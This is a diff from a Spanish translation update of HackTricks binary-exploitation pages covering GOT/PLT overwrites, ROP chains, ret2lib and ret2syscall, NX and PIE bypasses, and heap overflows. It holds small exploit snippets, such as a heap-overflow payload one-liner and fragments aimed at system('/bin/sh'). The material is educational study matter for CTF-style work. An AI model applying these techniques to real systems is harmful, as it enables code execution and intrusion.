Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -8,13 +8,13 @@
 
 La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven.
 
-Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
+Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
 
 ### **PLT: Tabla de Enlace de Procedimientos**
 
-La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**.
+La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al vinculador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**.
 
-**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
+**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del vinculador dinámico.
 
 ## Obtener Ejecución
 
@@ -44,7 +44,7 @@ Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
 
 ## Entradas de la GOT de libc
 
-La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Las funciones comunes de la libc van a llamar a **otras funciones internas** cuya GOT podría ser sobrescrita para obtener ejecución de código.
 
@@ -60,7 +60,7 @@ Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apun
 
 Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**.
 
-## **Un Gadget**
+## **One Gadget**
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2lib/one-gadget.md

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -24,12 +24,12 @@ Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será
 
 Hay diferentes formas en las que podrías terminar controlando el flujo de un programa:
 
-- [**Desbordamientos de Pila**](../stack-overflow/) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP.
-- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
+- [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno de la pila o el EBP -> ESP -> EIP.
+- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
 - O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**.
-- [**Cadenas de Formato**](../format-strings/)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
+- [**Cadenas de Formato**](../format-strings/index.html)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
 - [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria.
-- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
+- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
 - **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW.
 
 Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
@@ -42,9 +42,9 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
 
 Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
 
-- Escribir en una **cadena ROP** la dirección de la **función `main`** o la dirección donde está ocurriendo la **vulnerabilidad**.
-- Controlando una cadena ROP adecuada, podrías realizar todas las acciones en esa cadena.
-- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para volver **a la vulnerabilidad**.
+- Escribir en una **cadena ROP** la dirección de la **función `main`** o a la dirección donde está ocurriendo la **vulnerabilidad**.
+- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
+- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**.
 - Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`.
 
 ## Objetivos de Explotación
@@ -52,16 +52,16 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
 ### Objetivo: Llamar a una Función Existente
 
 - [**ret2win**](#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera.
-- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila.
-- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás eludirlo.
-- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), necesitarás eludirlo.
+- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila.
+- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), necesitarás eludirlo.
+- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), necesitarás eludirlo.
 - Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar:
-- Una [**cadena ROP**](#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (en caso de que puedas llamar a esta syscall) para controlar muchos registros.
+- Una **cadena ROP** si hay suficientes gadgets para preparar todos los parámetros.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (en caso de que puedas llamar a esta syscall) para controlar muchos registros.
 - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
-- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
-- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
+- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/index.html) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
+- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones.
 - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
 
 ### Objetivo: RCE
@@ -69,32 +69,32 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
 #### A través de shellcode, si nx está deshabilitado o mezclando shellcode con ROP:
 
 - [**(Stack) Shellcode**](#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo:
-- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (leak).
-- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará.
-- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella.
-- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí.
+- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** en un bof regular necesitarás eludirlo (leak).
+- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará.
+- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella.
+- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/index.html) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí.
 - Esto mezclará shellcode con una cadena ROP.
 
 #### A través de syscalls
 
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas poder encontrar los **gadgets para llamar a la syscall específica con los parámetros**.
-- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas ser capaz de encontrar los **gadgets para llamar a la syscall específica con los parámetros**.
+- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) puede ser útil para preparar el **ret2execve**.
 - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
 
 #### A través de libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente).
-- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
-- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
-- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
-- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario use la `system`**:
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente).
+- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
+- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
+- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
+- Con [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) pero sin [PIE](../common-binary-protections-and-bypasses/pie/index.html), conociendo la libc y **sin que el binario use la `system`**:
 - Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
-- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) y calcular la dirección de `system` y `'/bin/sh'` en memoria.
-- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y sin conocer la libc**: Necesitas:
-- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/).
+- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) y calcular la dirección de `system` y `'/bin/sh'` en memoria.
+- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **y sin conocer la libc**: Necesitas:
+- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
 - Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones).
-- Comprobar los **escenarios anteriores con ASLR** para continuar.
+- Revisar los **escenarios anteriores con ASLR** para continuar.
 
 #### A través de EBP/RBP
 
@@ -102,10 +102,10 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
 - Útil para **desbordamientos de pila off-by-one**.
 - Útil como una forma alternativa de terminar controlando EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
 
-#### Miscelánea
+#### Varios
 
-- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
+- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podrían afectar las direcciones.
 - [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -8,9 +8,9 @@ El **bit No-Execute (NX)**, también conocido como **Execute Disable (XD)** en l
 
 ## Bypasses
 
-- Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/index.html) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -8,14 +8,14 @@ Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, sign
 
 El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
 
-Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
-O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí solo puedes **calcular desplazamientos** de funciones y ubicaciones.
+Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
+O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes **calcular los desplazamientos** de funciones y ubicaciones.
 
-## Eludidos
+## Bypasses
 
 Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
 
-- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto, **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
+- **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
 - Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 - **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos:
 
@@ -23,7 +23,7 @@ Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**,
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/index.html) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referencias
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.**
+Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/index.html) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.**
 
 En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se van a restaurar desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de heap, **no hay información sensible almacenada por defecto** en el bloque de heap que puede ser desbordado. Sin embargo, podría haber información sensible o punteros, por lo que la **criticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto.
 
@@ -17,9 +17,9 @@ En los desbordamientos de pila, la disposición y los datos que van a estar pres
 
 Sin embargo, en el caso de un desbordamiento de heap, la memoria utilizada no es lineal, sino que **los bloques asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **bins y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos bloques. Es **complicado saber el objeto que va a colisionar con el que es vulnerable** a un desbordamiento de heap. Por lo tanto, cuando se encuentra un desbordamiento de heap, es necesario encontrar una **manera confiable de hacer que el objeto deseado esté al lado en memoria** del que puede ser desbordado.
 
-Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza, por ejemplo, [**en este post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En el post se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
+Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza, por ejemplo, [**en esta publicación**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En la publicación se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
 
-Por lo tanto, en el post anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**.
+Por lo tanto, en la publicación anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**.
 
 Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al elaborar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación `kalloc` y cuando el puerto mach correspondiente se destruye, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`.
 
@@ -27,7 +27,7 @@ Luego, algunos de estos marcadores de posición pueden ser **liberados**. La **l
 
 ### Ejemplo libc
 
-[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribir el bit de uso previo del siguiente bloque y la posición del tamaño previo es posible **consolidar un bloque utilizado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que están siendo utilizados en un puntero diferente también.
+[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribir el bit de uso previo del siguiente bloque y la posición del tamaño previo es posible **consolidar un bloque utilizado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también.
 
 Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de heap** puede ser abusado para llamar a la función ganadora para **obtener la bandera**.
 
@@ -35,14 +35,14 @@ En el ejemplo de [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_o
 
 ### Ejemplo ARM64
 
-En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Por lo tanto, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como:
+En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Así, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```
 ### Otros ejemplos
 
 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
-- Usamos una vulnerabilidad de desbordamiento de entero para obtener un desbordamiento de heap.
+- Usamos una vulnerabilidad de desbordamiento de enteros para obtener un desbordamiento de heap.
 - Corrompemos punteros a una función dentro de un `struct` del chunk desbordado para establecer una función como `system` y obtener ejecución de código.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -9,7 +9,7 @@
 ### Cómo Funciona ROP
 
 1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila.
-2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza o operaciones adicionales necesarias.
+2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria o operaciones adicionales.
 3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets.
 
 ### Herramientas
@@ -18,7 +18,7 @@ Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://git
 
 ## Ejemplo de Cadena ROP en x86
 
-### **x86 (32-bit) Convenciones de Llamada**
+### **Convenciones de Llamada x86 (32-bit)**
 
 - **cdecl**: El llamador limpia la pila. Los argumentos de la función se empujan en la pila en orden inverso (de derecha a izquierda). **Los argumentos se empujan en la pila de derecha a izquierda.**
 - **stdcall**: Similar a cdecl, pero el llamado es responsable de limpiar la pila.
@@ -37,7 +37,7 @@ Primero, supongamos que hemos identificado los gadgets necesarios dentro del bin
 Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con:
 
 1. Una instrucción `ret` para propósitos de alineación (opcional)
-2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/))
+2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/index.html))
 3. Marcador de posición para la dirección de retorno de `system()`
 4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system)
 ```python
@@ -75,11 +75,11 @@ p.interactive()
 ```
 ## Cadena ROP en x64 Ejemplo
 
-### **x64 (64-bit) Convenciones de llamada**
+### **x64 (64 bits) Convenciones de llamada**
 
-- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
+- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas tipo Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
 - La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
